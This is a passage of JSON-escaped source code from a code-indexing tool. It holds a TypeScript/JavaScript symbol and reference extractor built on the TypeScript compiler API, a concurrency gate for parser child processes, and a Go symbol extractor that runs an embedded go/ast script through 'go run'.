detectLang(file) !== null;\n}\n", "/**\n * TypeScript/JavaScript symbol extraction using the TypeScript Compiler API.\n *\n * We traverse the AST and collect:\n * - classes, interfaces, enums, type aliases \u2192 class|interface|enum|type\n * - functions and methods \u2192 function|method\n * - const/let/var declarations \u2192 const|let|var\n * - property/accessor declarations \u2192 property\n *\n * The `id` field on each Symbol is always 0 \u2014 the caller is responsible for\n * assigning unique ids during insertion.\n */\n\nimport type * as TS from '@typescript/typescript6';\nimport type { FileSymbols, Symbol as IndexSymbol, Ref, SymbolKind, SymbolLang } from './schema.js';\n\ntype TsModule = typeof import('@typescript/typescript6');\n\n/**\n * The TypeScript compiler is ~9MB of JavaScript and costs ~26MB heap / ~44MB\n * RSS to evaluate. A static `import` here put it in the module graph of every\n * bundle that can reach the indexer \u2014 including `wstack version`, the mailbox\n * bridge, and the codebase-index project server, none of which parse TS.\n *\n * It must stay a runtime `import()` of an EXTERNAL package: the build runs with\n * `splitting: false` (scripts/build-package.mjs), so esbuild inlines dynamic\n * imports of in-repo files. `parser-dispatch.ts` doing `await import('./ts-parser.js')`\n * therefore does NOT defer anything on its own \u2014 this boundary is the one that\n * survives bundling. Mirrors `_syntax-check.ts`.\n */\nlet ts!: TsModule;\nlet tsLoad: Promise<TsModule> | null = null;\n\nfunction loadTypescript(): Promise<TsModule> {\n tsLoad ??= import('@typescript/typescript6').then((m) => {\n ts = ((m as unknown as { default?: TsModule }).default ?? m) as TsModule;\n return ts;\n });\n return tsLoad;\n}\n\n// Map TypeScript SyntaxKind \u2192 our SymbolKind taxonomy. Built on first use\n// because the enum values only exist once the compiler module is loaded.\nlet kindMapCache: Partial<Record<TS.SyntaxKind, SymbolKind>> | null = null;\n\nfunction kindMap(): Partial<Record<TS.SyntaxKind, SymbolKind>> {\n kindMapCache ??= {\n [ts.SyntaxKind.ClassDeclaration]: 'class',\n [ts.SyntaxKind.InterfaceDeclaration]: 'interface',\n [ts.SyntaxKind.EnumDeclaration]: 'enum',\n [ts.SyntaxKind.TypeAliasDeclaration]: 'type',\n [ts.SyntaxKind.FunctionDeclaration]: 'function',\n [ts.SyntaxKind.MethodDeclaration]: 'method',\n [ts.SyntaxKind.GetAccessor]: 'property',\n [ts.SyntaxKind.SetAccessor]: 'property',\n [ts.SyntaxKind.PropertyDeclaration]: 'property',\n [ts.SyntaxKind.Parameter]: 'parameter',\n [ts.SyntaxKind.NamespaceExportDeclaration]: 'namespace',\n };\n return kindMapCache;\n}\n\nfunction kindOf(node: TS.Node): SymbolKind | null {\n // VariableDeclaration needs special handling \u2014 its parent tells us whether\n // it's `const`, `let`, or `var`.\n if (ts.isVariableDeclaration(node)) {\n const parent = node.parent;\n if (ts.isVariableDeclarationList(parent)) {\n const flags = parent.flags;\n if (flags & ts.NodeFlags.Let) return 'let';\n if (flags & ts.NodeFlags.Const) return 'const';\n return 'var';\n }\n }\n\n // Namespace (module) declaration\n if (ts.isModuleDeclaration(node)) return 'namespace';\n\n return kindMap()[node.kind] ?? null;\n}\n\n// Extension \u2192 language lives in languages.ts (single source of truth for\n// discovery + first-class + generic coverage).\n\nfunction getSignature(\n printer: TS.Printer,\n node: TS.Declaration,\n sourceFile: TS.SourceFile,\n): string {\n const raw = printer.printNode(ts.EmitHint.Unspecified, node, sourceFile);\n return raw.replace(/\\s+/g, ' ').slice(0, 500);\n}\n\n/**\n * Extract the first line of a JSDoc comment preceding a node.\n * Uses `ts.getLeadingCommentRanges` which is the modern replacement for\n * the removed `ts.getJSDocComments`.\n */\nfunction getJsDoc(node: TS.Node, sourceFile: TS.SourceFile): string {\n const fullText = sourceFile.getFullText();\n // getLeadingCommentRanges wants the position where the node's leading trivia\n // begins (getFullStart), not the node's width \u2014 passing getFullWidth() looked\n // past the comment and silently returned no JSDoc for every symbol.\n const nodePos = node.getFullStart();\n const comments = ts.getLeadingCommentRanges(fullText, nodePos);\n if (!comments) return '';\n\n for (const range of comments) {\n const commentText = fullText.slice(range.pos, range.end);\n // Only process JSDoc comments (/** ... */)\n const trimmed = commentText.trim();\n if (trimmed.startsWith('/**') && trimmed.endsWith('*/')) {\n // Strip the /** and */ delimiters and leading * on each line\n const inner = trimmed\n .slice(3, -2) // remove /** and */\n .replace(/^[ \\t]*\\*[ ]?/gm, '') // remove leading \" * \" or \" *\" on each line\n .trim();\n return inner.split('\\n')[0]?.trim().slice(0, 200) ?? '';\n }\n }\n return '';\n}\n\n/** Push the current node's scope contribution onto `parts` (for the O(1) recursive scope tracker). */\nfunction pushScopeName(node: TS.Node, parts: string[]): void {\n if (\n ts.isClassDeclaration(node) ||\n ts.isInterfaceDeclaration(node) ||\n ts.isEnumDeclaration(node) ||\n ts.isTypeAliasDeclaration(node)\n ) {\n parts.push(node.name?.text ?? 'Anon');\n } else if (\n ts.isMethodDeclaration(node) ||\n ts.isGetAccessor(node) ||\n ts.isSetAccessor(node) ||\n ts.isPropertyDeclaration(node) ||\n ts.isFunctionDeclaration(node)\n ) {\n if (node.name && ts.isIdentifier(node.name)) {\n parts.push(node.name.text);\n }\n }\n}\n\nexport interface ParseOptions {\n file: string;\n content: string;\n lang: SymbolLang;\n}\n\n/**\n * Parse a TypeScript/JavaScript source file and extract all code symbols.\n *\n * The returned `Symbol.id` field is always `0` \u2014 the caller is responsible\n * for assigning unique numeric ids during bulk insertion.\n *\n * Returns an empty array for files that can't be parsed or contain no symbols.\n *\n * Async because the TypeScript compiler is loaded on first use \u2014 see\n * {@link loadTypescript}. The load is memoized, so only the first call to this\n * function in a process pays for it.\n */\nexport async function parseSymbols(opts: ParseOptions): Promise<FileSymbols> {\n const { file, content, lang } = opts;\n await loadTypescript();\n\n let sourceFile: TS.SourceFile;\n try {\n sourceFile = ts.createSourceFile(file, content, ts.ScriptTarget.Latest, true);\n } catch {\n /* v8 ignore next -- createSourceFile tolerates malformed input and does not throw; defensive. */\n return { file, lang, symbols: [], mtimeMs: Date.now() };\n }\n\n const symbols: IndexSymbol[] = [];\n const refs: Ref[] = [];\n // Create the printer once per file instead of per-symbol. ts.createPrinter is\n // not free \u2014 it allocates internal emitter state \u2014 and we call getSignature\n // for every navigable declaration (often 100-300 per file).\n const printer = ts.createPrinter({});\n\n function visit(node: TS.Node, funcDepth: number, scopeParts: string[]): void {\n // \u2500\u2500 Symbol extraction \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n const kind = kindOf(node);\n\n if (kind) {\n // Keep the index focused on navigable declarations. Function-local\n // variables and parameters account for most rows in large TypeScript\n // projects and otherwise swamp exact declaration searches.\n // funcDepth is a cheap O(1) counter threaded through the recursion\n // instead of walking up the parent chain per symbol.\n if (\n (kind === 'const' || kind === 'let' || kind === 'var' || kind === 'parameter') &&\n funcDepth > 0\n ) {\n // Fall through to ref extraction \u2014 function-local variables can still\n // appear in type references and calls.\n } else {\n const nameNode = (node as { name?: TS.Identifier | undefined }).name;\n if (!nameNode || !ts.isIdentifier(nameNode)) {\n // Anonymous declaration (e.g. `export default class { ... }`) \u2014 no\n // name identifier, so there's nothing to index. Skip children too\n // to avoid indexing members of anonymous containers. Ref extraction\n // for the node itself is also skipped, but anonymous declarations\n // never match ref checks anyway.\n return;\n }\n const name = nameNode.text;\n const pos = nameNode.getStart(sourceFile);\n const { line, character } = sourceFile.getLineAndCharacterOfPosition(pos);\n const scope = scopeParts.join('.');\n const signature = getSignature(printer, node as TS.Declaration, sourceFile);\n const docComment = getJsDoc(node, sourceFile);\n const text = [name, signature, docComment].filter(Boolean).join(' | ');\n\n symbols.push({\n id: 0,\n lang,\n kind,\n name,\n file,\n line: line + 1,\n col: character,\n signature,\n docComment,\n scope,\n text,\n });\n }\n }\n\n // \u2500\u2500 Reference extraction (inlined from extractRefs) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n const pos = node.getStart(sourceFile);\n const { line } = sourceFile.getLineAndCharacterOfPosition(pos);\n const lineNum = line + 1;\n\n if (ts.isCallExpression(node)) {\n const expr = node.expression;\n if (ts.isIdentifier(expr)) {\n refs.push({ fromId: 0, toName: expr.text, callType: 'call', line: lineNum });\n }\n } else if (ts.isPropertyAccessExpression(node)) {\n if (ts.isIdentifier(node.expression)) {\n refs.push({ fromId: 0, toName: node.expression.text, callType: 'call', line: lineNum });\n }\n } else if (ts.isTypeReferenceNode(node)) {\n const name = getTypeName(node.typeName);\n if (name) refs.push({ fromId: 0, toName: name, callType: 'type_ref', line: lineNum });\n } else if (ts.isHeritageClause(node)) {\n for (const t of node.types) {\n const name = getTypeName(t.expression as TS.EntityName);\n if (name)\n refs.push({\n fromId: 0,\n toName: name,\n callType: node.token === ts.SyntaxKind.ExtendsKeyword ? 'inherit' : 'implement',\n line: lineNum,\n });\n }\n } else if (ts.isImportDeclaration(node)) {\n // Emit import refs for each imported symbol NAME rather than the module\n // path string. This lets the ref resolver match the import against the\n // target symbol's declaration name, so the dead-code BFS can traverse\n // module boundaries. Module-path refs (old behaviour) were never\n // resolvable because no symbol is ever named './foo.js'.\n emitImportSpecifierRefs(node, refs, lineNum);\n } else if (ts.isExportDeclaration(node) && node.moduleSpecifier) {\n // Re-exports: export { X } from './foo' \u2014 emit refs for the exported\n // names so they resolve to the source module's symbols.\n emitExportSpecifierRefs(node, refs, lineNum);\n }\n\n // Push scope name before recursing, pop after (O(1) instead of O(depth) parent walk)\n const scopeIdx = scopeParts.length;\n pushScopeName(node, scopeParts);\n const childFuncDepth = ts.isFunctionLike(node) ? funcDepth + 1 : funcDepth;\n ts.forEachChild(node, (child) => visit(child, childFuncDepth, scopeParts));\n scopeParts.length = scopeIdx;\n }\n\n visit(sourceFile, 0, []);\n\n return { file, lang, symbols, refs: deduplicateRefs(refs), mtimeMs: Date.now() };\n}\n\n// \u2500\u2500\u2500 Reference extraction helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/** Extract the name string from a type name node (simple or qualified). */\nfunction getTypeName(name: TS.EntityName): string {\n if (ts.isIdentifier(name)) return name.text;\n if (ts.isQualifiedName(name)) return `${getTypeName(name.left)}.${name.right.text}`;\n /* v8 ignore next -- an EntityName is always an Identifier or QualifiedName; defensive. */\n return '';\n}\n\n/** Remove duplicate refs (same toName, callType, line). fromId is always 0 at this stage. */\nfunction deduplicateRefs(refs: Ref[]): Ref[] {\n const seen = new Set<string>();\n return refs.filter((r) => {\n const key = `${r.toName}:${r.callType}:${r.line}`;\n if (seen.has(key)) return false;\n seen.add(key);\n return true;\n });\n}\n\n/** Extract the imported (original-export) name from an ImportSpecifier. */\nfunction getImportSpecifierName(spec: TS.ImportSpecifier): string {\n // import { X as Y } from './foo' \u2192 propertyName is 'X', name is 'Y'\n // import { X } from './foo' \u2192 propertyName is undefined, name is 'X'\n // We emit the ORIGINAL exported name so the ref resolves to the\n // declaration symbol in the source module.\n return spec.propertyName?.text ?? spec.name.text;\n}\n\n/**\n * Emit `import` refs for each named symbol brought into scope by an\n * `ImportDeclaration`. Uses the original exported name (not the local\n * alias and not the module path) so the ref resolver can match it against\n * the target symbol's declaration name.\n *\n * Handles:\n * import { X } from 'M' \u2192 ref toName: 'X'\n * import { X as Y } from 'M' \u2192 ref toName: 'X' (original name)\n * import X from 'M' \u2192 ref toName: 'X'\n * import * as X from 'M' \u2192 ref toName: 'X'\n * import { type X } from 'M' \u2192 ref toName: 'X' (type-only flagged)\n * import 'M' \u2192 no refs (side-effect only)\n */\nfunction emitImportSpecifierRefs(node: TS.ImportDeclaration, refs: Ref[], lineNum: number): void {\n const clause = node.importClause;\n if (!clause) return; // side-effect import: import 'foo'\n\n // Default import: import X from 'M' (may coexist with named bindings\n // e.g. import React, { useState } from 'react')\n if (clause.name) {\n refs.push({ fromId: 0, toName: clause.name.text, callType: 'import', line: lineNum });\n }\n\n // Named imports: import { X, Y } from 'M'\n const bindings = clause.namedBindings;\n if (!bindings) return;\n\n if (ts.isNamedImports(bindings)) {\n for (const element of bindings.elements) {\n refs.push({\n fromId: 0,\n toName: getImportSpecifierName(element),\n callType: 'import',\n line: lineNum,\n });\n }\n } else if (ts.isNamespaceImport(bindings)) {\n // import * as X from 'M'\n refs.push({ fromId: 0, toName: bindings.name.text, callType: 'import', line: lineNum });\n }\n}\n\n/**\n * Emit `import` refs for each symbol re-exported by an `ExportDeclaration`\n * with a `from` clause. These use the original source-side name so the ref\n * resolves to the declaration symbol in the source module.\n *\n * Handles:\n * export { X } from 'M' \u2192 ref toName: 'X'\n * export { X as Y } from 'M' \u2192 ref toName: 'X' (original name)\n * export * as X from 'M' \u2192 ref toName: 'X' (namespace)\n * export * from 'M' \u2192 NO ref (wildcard \u2014 handled via\n * file-level graph in dead-code-scan)\n */\nfunction emitExportSpecifierRefs(node: TS.ExportDeclaration, refs: Ref[], lineNum: number): void {\n const clause = node.exportClause;\n\n if (clause && ts.isNamespaceExport(clause)) {\n // export * as X from 'M' \u2014 NamespaceExport has a .name\n refs.push({ fromId: 0, toName: clause.name.text, callType: 'import', line: lineNum });\n return;\n }\n\n if (clause && ts.isNamedExports(clause)) {\n // export { X } from 'M' \u2014 NamedExports\n for (const element of clause.elements) {\n // export { X as Y } \u2192 propertyName is 'X' (original), name is 'Y' (exported)\n // export { X } \u2192 propertyName is undefined, name is 'X'\n const originalName = element.propertyName?.text ?? element.name.text;\n refs.push({ fromId: 0, toName: originalName, callType: 'import', line: lineNum });\n }\n return;\n }\n\n // export * from 'M' \u2014 no clause (wildcard). No per-symbol ref is\n // possible; the dead-code-scan handles this via file-level graph.\n}\n\n/** Detect SymbolLang from a file path \u2014 re-exported from the central map. */\nexport { detectLang } from './languages.js';\n", "/**\n * Global concurrency gate for external parser processes (Python / Go / cargo).\n *\n * Spawning many AST helpers in parallel burns CPU and thrash the OS process\n * table on Windows. Serializing native toolchains is correctness-preserving:\n * each file still gets the same parse result, just not all at once.\n */\n\nlet chain: Promise<unknown> = Promise.resolve();\n\n/**\n * Run `fn` exclusively with respect to other {@link withSpawnGate} callers\n * in this process. Errors propagate to the caller and do not break the queue.\n */\nexport function withSpawnGate<T>(fn: () => Promise<T>): Promise<T> {\n const run = chain.then(fn, fn);\n // Keep the chain alive even when `fn` rejects.\n chain = run.then(\n () => undefined,\n () => undefined,\n );\n return run;\n}\n\n/** Test helper \u2014 reset queue between cases. */\nexport function resetSpawnGateForTests(): void {\n chain = Promise.resolve();\n}\n", "/**\n * Go source symbol extraction using `go/parser`.\n *\n * Spawns a `go run -` child process that parses the file with go/ast and\n * emits JSON. Falls back to empty results on any error.\n *\n * Extracts: package, func, type, const, var\n */\n\nimport { spawn, type ChildProcess } from 'node:child_process';\nimport * as os from 'node:os';\nimport * as path from 'node:path';\nimport * as fs from 'node:fs/promises';\nimport { resolveWin32Command } from '../_win32-resolve.js';\nimport type { FileSymbols, Symbol as IndexSymbol, SymbolLang } from './schema.js';\nimport { withSpawnGate } from './spawn-gate.js';\n\n// \u2500\u2500\u2500 Public API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport async function parseSymbols(opts: {\n file: string;\n content: string;\n lang: SymbolLang;\n}): Promise<FileSymbols> {\n const { file, content, lang } = opts;\n\n try {\n // Serialize go child processes process-wide (same gate as Python).\n const parsed = await withSpawnGate(() => syncGoParse(file, content, lang));\n if (parsed.symbols.length > 0) {\n return parsed;\n }\n return fallbackParse(file, content, lang);\n } catch {\n /* v8 ignore next -- syncGoParse has its own catch; this outer guard is defensive. */\n return fallbackParse(file, content, lang);\n }\n}\n\nexport { detectLang } from './languages.js';\n\n// \u2500\u2500\u2500 Lightweight fallback parser \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction fallbackParse(filePath: string, content: string, lang: SymbolLang): FileSymbols {\n if (!/^\\s*package\\s+[A-Za-z_]\\w*/m.test(content) || hasUnbalancedDelimiters(content)) {\n return { file: filePath, lang, symbols: [], mtimeMs: Date.now() };\n }\n\n const symbols: IndexSymbol[] = [];\n const packageName = content.match(/^\\s*package\\s+([A-Za-z_]\\w*)/m)?.[1] ?? '';\n const lines = content.split(/\\r?\\n/);\n for (const [idx, line] of lines.entries()) {\n const trimmed = line.trimStart();\n const col = line.length - trimmed.length + 1;\n const fn = /^func\\s+(?:\\([^)]*\\)\\s*)?([A-Za-z_]\\w*)\\s*\\(/.exec(trimmed);\n if (fn?.[1]) {\n addFallbackSymbol(symbols, { filePath, lang, kind: trimmed.startsWith('func (') ? 'method' : 'function', name: fn[1], line: idx + 1, col, signature: trimmed, scope: packageName ? `${packageName}.${fn[1]}` : fn[1] });\n continue;\n }\n\n const typeDecl = /^type\\s+([A-Za-z_]\\w*)\\b/.exec(trimmed);\n if (typeDecl?.[1]) {\n addFallbackSymbol(symbols, { filePath, lang, kind: 'type', name: typeDecl[1], line: idx + 1, col, signature: trimmed, scope: packageName });\n continue;\n }\n\n const valueDecl = /^(const|var)\\s+([A-Za-z_]\\w*)\\b/.exec(trimmed);\n if (valueDecl?.[1] && valueDecl[2]) {\n addFallbackSymbol(symbols, { filePath, lang, kind: valueDecl[1] as 'const' | 'var', name: valueDecl[2], line: idx + 1, col, signature: trimmed, scope: packageName });\n }\n }\n\n return { file: filePath, lang, symbols, mtimeMs: Date.now() };\n}\n\nfunction addFallbackSymbol(\n symbols: IndexSymbol[],\n opts: {\n filePath: string;\n lang: SymbolLang;\n kind: IndexSymbol['kind'];\n name: string;\n line: number;\n col: number;\n signature: string;\n scope: string;\n },\n): void {\n symbols.push({\n id: 0,\n lang: opts.lang,\n kind: opts.kind,\n name: opts.name,\n file: opts.filePath,\n line: opts.line,\n col: opts.col,\n signature: opts.signature,\n docComment: '',\n scope: opts.scope,\n text: `${opts.name} ${opts.signature}`.trim(),\n });\n}\n\nfunction hasUnbalancedDelimiters(content: string): boolean {\n const pairs: Record<string, string> = { '(': ')', '[': ']', '{': '}' };\n const closers = new Set(Object.values(pairs));\n const stack: string[] = [];\n for (const ch of content) {\n if (pairs[ch]) {\n stack.push(pairs[ch]);\n } else if (closers.has(ch) && stack.pop() !== ch) {\n return true;\n }\n }\n return stack.length > 0;\n}\n\n// \u2500\u2500\u2500 Inline Go parser script \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nconst GO_PARSE_SCRIPT = `\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"go/ast\"\n\t\"go/parser\"\n\t\"go/token\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n)\n\ntype Sym struct {\n\tName string \\`json:\"name\"\\`\n\tKind string \\`json:\"kind\"\\`\n\tLine int \\`json:\"line\"\\`\n\tCol int \\`json:\"col\"\\`\n\tSignature string \\`json:\"signature\"\\`\n\tScope string \\`json:\"scope\"\\`\n}\n\nfunc main() {\n\tsrc, err := io.ReadAll(os.Stdin)\n\tif err != nil {\n\t\tfmt.Print(\"[]\")\n\t\treturn\n\t}\n\tfset := token.NewFileSet()\n\tnode, err := parser.ParseFile(fset, \"src.go\", src, 0)\n\tif err != nil {\n\t\tfmt.Print(\"[]\")\n\t\treturn\n\t}\n\n\tvar syms []Sym\n\n\t// Package-level scope\n\tpkgScope := node.Name.Name\n\n\t// Collect all top-level declarations\n\tfor _, decl := range node.Decls {\n\t\tswitch d := decl.(type) {\n\t\tcase *ast.FuncDecl:\n\t\t\tname := d.Name.Name\n\t\t\tkind := \"function\"\n\t\t\tscope := pkgScope\n\t\t\tif d.Recv != nil && len(d.Recv.List) > 0 {\n\t\t\t\tscope = pkgScope + \".\" + recvTypeName(d.Recv.List[0].Type) + \".\" + name\n\t\t\t\tkind = \"method\"\n\t\t\t} else {\n\t\t\t\tscope = pkgScope + \".\" + name\n\t\t\t}\n\t\t\tpos := fset.Position(d.Pos())\n\t\t\tsig := formatFuncSig(d)\n\t\t\tsyms = append(syms, Sym{Name: name, Kind: kind, Line: pos.Line, Col: pos.Column, Signature: sig, Scope: scope})\n\n\t\tcase *ast.GenDecl:\n\t\t\tfor _, spec := range d.Specs {\n\t\t\t\tswitch s := spec.(type) {\n\t\t\t\tcase *ast.TypeSpec:\n\t\t\t\t\tname := s.Name.Name\n\t\t\t\t\tpos := fset.Position(s.Pos())\n\t\t\t\t\tsig := \"type \" + name\n\t\t\t\t\tif s.TypeParams != nil {\n\t\t\t\t\t\tsig += formatTypeParams(s.TypeParams)\n\t\t\t\t\t}\n\t\t\t\t\tif st, ok := s.Type.(*ast.StructType); ok {\n\t\t\t\t\t\tsig += \" = struct { \" + formatFields(st.Fields.List) + \" }\"\n\t\t\t\t\t} else if it, ok := s.Type.(*ast.InterfaceType); ok {\n\t\t\t\t\t\tsig += \" = interface { \" + formatMethods(it.Methods.List) + \" }\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsig += \" = \" + formatType(s.Type)\n\t\t\t\t\t}\n\t\t\t\t\tsyms = append(syms, Sym{Name: name, Kind: \"type\", Line: pos.Line, Col: pos.Column, Signature: sig, Scope: pkgScope})\n\n\t\t\t\tcase *ast.ValueSpec:\n\t\t\t\t\tfor _, n := range s.Names {\n\t\t\t\t\t\tname := n.Name\n\t\t\t\t\t\tpos := fset.Position(n.Pos())\n\t\t\t\t\t\tkind := \"var\"\n\t\t\t\t\t\tif d.Tok == token.CONST {\n\t\t\t\t\t\t\tkind = \"const\"\n\t\t\t\t\t\t}\n\t\t\t\t\t\tsig := kind + \" \" + name\n\t\t\t\t\t\tif s.Type != nil {\n\t\t\t\t\t\t\tsig += \" \" + formatType(s.Type)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tsyms = append(syms, Sym{Name: name, Kind: kind, Line: pos.Line, Col: pos.Column, Signature: sig, Scope: pkgScope})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tdata, err := json.Marshal(syms)\n\tif err != nil {\n\t\tfmt.Print(\"[]\")\n\t\treturn\n\t}\n\tfmt.Print(string(data))\n}\n\nfunc recvTypeName(t ast.Expr) string {\n\tswitch v := t.(type) {\n\tcase *ast.Ident:\n\t\treturn v.Name\n\tcase *ast.StarExpr:\n\t\treturn recvTypeName(v.X)\n\tdefault:\n\t\treturn \"?\"\n\t}\n}\n\nfunc formatFuncSig(d *ast.FuncDecl) string {\n\tscope := \"\"\n\tif d.Recv != nil && len(d.Recv.List) > 0 {\n\t\tscope = \"(\" + formatFieldList(d.Recv.List) + \") \"\n\t}\n\tscope += formatFuncType(d.Type)\n\treturn \"func \" + scope\n}\n\nfunc formatFuncType(f *ast.FuncType) string {\n\tparams := formatFieldList(f.Params.List)\n\tresults := \"\"\n\tif f.Results != nil {\n\t\tresults = \" -> \" + formatFieldList(f.Results.List)\n\t}\n\treturn params + results\n}\n\nfunc formatFieldList(fields []*ast.Field) string {\n\tif len(fields) == 0 {\n\t\treturn \"()\"\n\t}\n\tnames := make([]string, 0, len(fields))\n\tfor _, f := range fields {\n\t\tname := \"\"\n\t\tif len(f.Names) > 0 {\n\t\t\tname = f.Names[0].Name\n\t\t}\n\t\tt := formatType(f.Type)\n\t\tif name != \"\" {\n\t\t\tnames = append(names, name+\" \"+t)\n\t\t} else {\n\t\t\tnames = append(names, t)\n\t\t}\n\t}\n\treturn \"(\" + strings.Join(names, \", \") + \")\"\n}\n\nfunc formatFields(fields []*ast.Field) string {\n\tlines := make([]string, 0)\n\tfor _, f := range fields {\n\t\tname := \"\"\n\t\tif len(f.Names) > 0 {\n\t\t\tname = f.Names[0].Name\n\t\t}\n\t\tt := formatType(f.Type)\n\t\tif name != \"\" {\n\t\t\tlines = append(lines, name+\" \"+t)\n\t\t} else {\n\t\t\tlines = append(lines, t)\n\t\t}\n\t}\n\treturn strings.Join(lines, \"; \")\n}\n\nfunc formatMethods(fields []*ast.Field) string {\n\treturn formatFields(fields)\n}\n\nfunc formatTypeParams(tp *ast.FieldList) string {\n\tif tp == nil || len(tp.List) == 0 {\n\t\treturn \"\"\n\t}\n\tparams := make([]string, len(tp.List))\n\tfor i, p := range tp.List {\n\t\tif len(p.Names) > 0 {\n\t\t\tparams[i] = p.Names[0].Name\n\t\t} else {\n\t\t\tparams[i] = \"T\"\n\t\t}\n\t}\n\treturn \"[\" + strings.Join(params, \", \") + \"]\"\n}\n\nfunc formatType(t ast.Expr) string {\n\tif t == nil {\n\t\treturn \"?\"\n\t}\n\tswitch v := t.(type) {\n\tcase *ast.Ident:\n\t\treturn v.Name\n\tcase *ast.SelectorExpr:\n\t\treturn formatType(v.X) + \".\" + v.Sel.Name\n\tcase *ast.StarExpr:\n\t\treturn \"*\" + formatType(v.X)\n\tcase *ast.ArrayType:\n\t\tif v.Len == nil {\n\t\t\treturn \"[]\" + formatType(v.Elt)\n\t\t}\n\t\treturn \"[...]\" + formatType(v.Elt)\n\tcase *ast.MapType:\n\t\treturn \"map[\" + formatType(v.Key) + \"]\" + formatType(v.Value)\n\tcase *ast.InterfaceType:\n\t\treturn \"interface{}\"\n\tcase *ast.StructType:\n\t\treturn \"struct{}\"\n\tcase *ast.FuncType:\n\t\treturn formatFuncType(v)\n\tcase *ast.ChanType:\n\t\treturn \"chan \" + formatType(v.Value)\n\tcase *ast.BasicLit:\n\t\treturn v.Value\n\tcase *ast.IndexExpr:\n\t\t// Generic instantiation with one type arg, e.g. Logger[int].\n\t\treturn formatType(v.X) + \"[\" + formatType(v.Index) + \"]\"\n\tcase *ast.IndexListExpr:\n\t\t// Generic instantiation with multiple type args, e.g. Map[K, V].\n\t\targs := make([]string, len(v.Indices))\n\t\tfor i, idx := range v.Indices {\n\t\t\targs[i] = formatType(idx)\n\t\t}\n\t\treturn formatType(v.X) + \"[\" + strings.Join(args, \", \") + \"]\"\n\tdefault:\n\t\treturn \"?\"\n\t}\n}\n`;\n\n// Cache the temp script path so we don't rewrite the parser script on every\n// file. The script is identical for every invocation \u2014 writing it once per\n// process (like py-parser does) eliminates mkdtemp + writeFile + rm per file.\nlet _cachedGoScriptPath: string | null = null;\n\nasync function syncGoParse(\n filePath: string,\n content: string,\n lang: SymbolLang,\n): Promise<FileSymbols> {\n // Feed the source over stdin \u2014 never pass the target .go file as a CLI arg.\n // `go run script.go target.go` makes the toolchain treat target.go as a\n // second package file (\"named files must all be in one directory\") and\n // refuses *_test.go outright. Reading from stdin sidesteps both, and lets\n // us parse the in-memory content without touching disk.\n try {\n // Local `let` so TypeScript's CFA narrows to `string` after the guard.\n // Module-scope `_cachedGoScriptPath` stays `string | null` because TS\n // can't prove no concurrent mutation between the check and the use.\n let scriptPath = _cachedGoScriptPath;\n if (!scriptPath) {\n const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), 'ws-go-parse-'));\n scriptPath = path.join(tmpDir, 'parse.go');\n await fs.writeFile(scriptPath, GO_PARSE_SCRIPT, 'utf8');\n _cachedGoScriptPath = scriptPath;\n }\n\n // argv-array form (no shell): avoids any quoting/metachar issues in the\n // temp script path. The target source is fed via stdin, not as an arg.\n // Resolve the Go binary via PATHEXT on Windows so ENOENT is impossible.\n const goBinary = resolveWin32Command('go');\n\n const goResult = await new Promise<{ code: number | null; stdout: string }>(\n (resolve, reject) => {\n let settled = false;\n\n const proc: ChildProcess = spawn(goBinary, ['run', scriptPath], {\n stdio: ['pipe', 'pipe', 'pipe'],\n windowsHide: true,\n });\n\n proc.on('error', (err) => {\n if (settled) return;\n settled = true;\n reject(err);\n });\n\n let stdout = '';\n proc.stdout?.on('data', (chunk: Buffer) => {\n stdout += chunk.toString();\n });\n // Drain stderr to avoid backpressure deadlocks from Go toolchain\n // diagnostics (e.g. \"found packages \u2026\").\n proc.stderr?.resume();\n\n // Write source via stdin so `go run` receives it without touching disk\n proc.stdin?.write(content);\n proc.stdin?.end();\n\n const timer = setTimeout(() => {\n if (settled) return;\n settled = true;\n proc.kill('SIGKILL');\n reject(new Error('timeout'));\n }, 15_000);\n timer.unref?.();\n\n proc.on('close', (code) => {\n if (settled) return;\n settled = true;\n clearTimeout(timer);\n resolve({ code, stdout });\n });\n },\n );\n\n const { code, stdout } = goResult;\n\n if (code !== 0 || !stdout.trim()) {\n return { file: filePath, lang, symbols: [], mtimeMs: Date.now() };\n }\n\n const 